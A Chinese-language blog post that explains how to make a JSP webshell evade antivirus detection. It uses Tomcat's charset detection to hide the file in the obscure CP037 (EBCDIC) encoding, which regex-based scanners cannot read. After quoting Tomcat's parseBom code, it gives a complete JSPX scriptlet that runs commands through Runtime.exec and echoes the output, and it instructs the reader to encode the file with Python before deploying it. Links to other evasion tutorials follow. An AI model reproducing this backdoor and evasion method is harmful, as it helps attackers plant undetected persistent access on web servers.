[JavaWeb]利用JSP的编码特性制作免杀后门
利用JSP的编码特性制作免杀后门
这里是借鉴了Y4stacker师傅的thinkings
待解决的问题
- JSP解析
- JSP“乱码”为什么还能被识别
- “乱码”的JSP在过滤时会被检测到吗?什么原因?
- 为什么“乱码”可以用来做免杀?
JSP解析

其中EL等标记语言都是在jsp引擎中进行处理的,就是 识别+替换

JSP中的字符串是怎么被识别的?JSP“乱码”为什么还能被识别?
了解tomcat等服务器运行机理的最好,不了解也没关系,一步步来探究就行了。
- 首先下载tomcat源码包(github、官网都有)
这里下载的是8.5版本的
- 设置pom,导入依赖包
- 建立项目,编译运行
具体的过程,这里就不再仔细写了
开始调试了
直接打开乱码,需要手动加载下jsp解析器

直接访问index.jsp
服务器端收到后,会先去work对应的目录下找是否有缓存,或者叫编译好的文件,有的话,直接用。没有的话就要从index.jsp中读,并解析编译加载。找到文件后,对文件流先进行编码探测

这里采用的探测方式是读取前4个字节的内容,然后进行判别

- 这里列出了支持的多种编码
private BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new BomResult("UTF-8", 0);
}
// UTF-16, with BOM
int b0 = b4[0] & 0xFF;
int b1 = b4[1] & 0xFF;
if (b0 == 0xFE && b1 == 0xFF) {
// UTF-16, big-endian
return new BomResult("UTF-16BE", 2);
}
if (b0 == 0xFF && b1 == 0xFE) {
// UTF-16, little-endian
return new BomResult("UTF-16LE", 2);
}
// default to UTF-8 if we don't have enough bytes to make a
// good determination of the encoding
if (count < 3) {
return new BomResult("UTF-8", 0);
}
// UTF-8 with a BOM
int b2 = b4[2] & 0xFF;
if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) {
return new BomResult("UTF-8", 3);
}
// default to UTF-8 if we don't have enough bytes to make a
// good determination of the encoding
if (count < 4) {
return new BomResult("UTF-8", 0);
}
// Other encodings. No BOM. Try and ID encoding.
int b3 = b4[3] & 0xFF;
if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) {
// UCS-4, big endian (1234)
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) {
// UCS-4, little endian (4321)
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) {
// UCS-4, unusual octet order (2143)
// REVISIT: What should this be?
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) {
// UCS-4, unusual octet order (3412)
// REVISIT: What should this be?
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) {
// UTF-16, big-endian, no BOM
// (or could turn out to be UCS-2...
// REVISIT: What should this be?
return new BomResult("UTF-16BE", 0);
}
if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) {
// UTF-16, little-endian, no BOM
// (or could turn out to be UCS-2...
return new BomResult("UTF-16LE", 0);
}
if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) {
// EBCDIC
// a la xerces1, return CP037 instead of EBCDIC here
return new BomResult("CP037", 0);
}
// default encoding
return new BomResult("UTF-8", 0);
}
- 探测到文件编码方式后,开始进行jsp解析,后面的内容先不管,我们主要是来分析支持的编码格式

“乱码”的JSP在过滤时会被检测到吗?什么原因?
由上面的编码解析可以知道,如果文件采用的是规定的诸多编码方式之一就可以被jsp解析器正常解析。解析器会先对流进行一个编码探测,然后再进行编码及解析。
为什么“乱码”可以用来做免杀?
这就和之前说的jsp免杀原理有些关联。大部分的查杀软件都是基于正则表达式进行匹配的,而对于一个文件流,查杀软件也比不可能对所有的编码形式都进行一次转换再来用正则匹配,这无疑会占据较高性能。所以如果使用了偏门的编码,查杀文件无法解析,但jsp解析器能正常解析,就达到免杀的目的。
直接开始实践
这里用最奇怪的“CP037”进行编码。
CP037要求的格式是前四个字节需要满足对应的关系

这里采用了Y4tacker师傅的用xml写jsp,第一次知道还可以这么操作。后来一想能用h5,就能用xml吧,毕竟两者是相近的标记语言
这里之所以判断是xml文件,是因为字节流经过cp037解码后是<?xm。所以如果采用其他的编码方式,应该先用对应的编码方式进行解码操作,判断指定字符串。
写的时候出现了两个问题
- 格式不对。xml格式要求严格,必须按照要求来。不然很容易就报错,无法解析
- 跟逻辑的时候,只跟了test.jsp,后面发现根本不被解析,然后发现是因为有个后缀判断,要求后缀名为jspx或tagx

Ending

<?xml version="1.0" encoding="cp037" ?>
<jsp:root version="1.2" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page import="java.io.*"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Process process = Runtime.getRuntime().exec("calc.exe");
BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
while((line=in.readLine())!=null){
out.write(line+"\n");
}
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
先将代码用python进行cp037编码,再加载到web中
[JavaWeb]利用JSP的编码特性制作免杀后门的更多相关文章
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- 【转】PHP利用Apache、Nginx的特性实现免杀Webshell
转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...
- 利用meterpreter下的Venom免杀后门
转载请注明作者:admin-神风 下载地址:https://github.com/r00t-3xp10it/venom .从Github上下载框架: tar.gz OR zip OR git clon ...
- 免杀后门(四)之shellter注入绕过
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用 Shellter 是一款动态 shellcode 注入工具.利用它,我们可以将shell注入到其他的可执行程序上,从而躲避安 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- Exp3 免杀原理和实践
一.基础问题回答 1.杀软是如何检测出恶意代码的? (1)基于特征码的检测 特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串.如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码 ...
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20145308 《网络对抗》 MAL_免杀原理及实践 学习总结
20145308 <网络对抗> MAL_免杀原理及实践 学习总结 实践内容 (1)理解免杀技术原理 (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免 ...
- 20155207 《网络对抗技术》EXP3 免杀原理与实践
20155207 <网络对抗技术>EXP3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? - 根据特征码进行检测(静态) - 启发式(模糊特征点.行为 ) - 根据行为进行检 ...
随机推荐
- IPtables 之“四表五链”
目录 架构图 IP tables 简介 包过滤防火墙 Iptables如何过滤 "四表" "五链" Iptables流程 架构图 公司架构模式(酒店迎宾比喻) ...
- JAVA整合FlinkCDC 监控数据库表变化
版本至少jdk8 maven <!-- https://mvnrepository.com/artifact/com.alibaba.ververica/flink-connector-mysq ...
- 【LeetCode】1120. Maximum Average Subtree 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 日期 题目地址:https://leetcod ...
- 【LeetCode】537. Complex Number Multiplication 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 解题方法 日期 题目地址:https://leetcode.com/pr ...
- Mysterious For(hdu4373)
Mysterious For Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)To ...
- Java实习生常规技术面试题每日十题Java基础(七)
目录 1. Java设计模式有哪些? 2.GC是什么?为什么要有GC? 3. Java中是如何支持正则表达式. 4.比较一下Java和JavaSciprt. 5.Math.round(11.5) 等于 ...
- 编写Java程序,比较两个Dog对象是否为同一个对象
返回本章节 返回作业目录 需求说明: 重写Dog类的equals(Object obj)方法. 如果equals(Object obj)中obj为Dog类型,则判断当前 对象的dogName与obj对 ...
- GDB调试-从入门到实践
你好,我是雨乐! 在上篇文章中,我们分析了线上coredump产生的原因,其中用到了coredump分析工具gdb,这几天一直有读者在问,能不能写一篇关于gdb调试方面的文章,今天借助此文,分享一些工 ...
- Linux密码文件介绍
1. 查看shadow文件内容```cat /etc/shadow```可以看到shadow文件内容,例如:```root:$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.:148 ...
- Lomsat gelral
题目描述 You are given a rooted tree with root in vertex 11 . Each vertex is coloured in some colour. Le ...
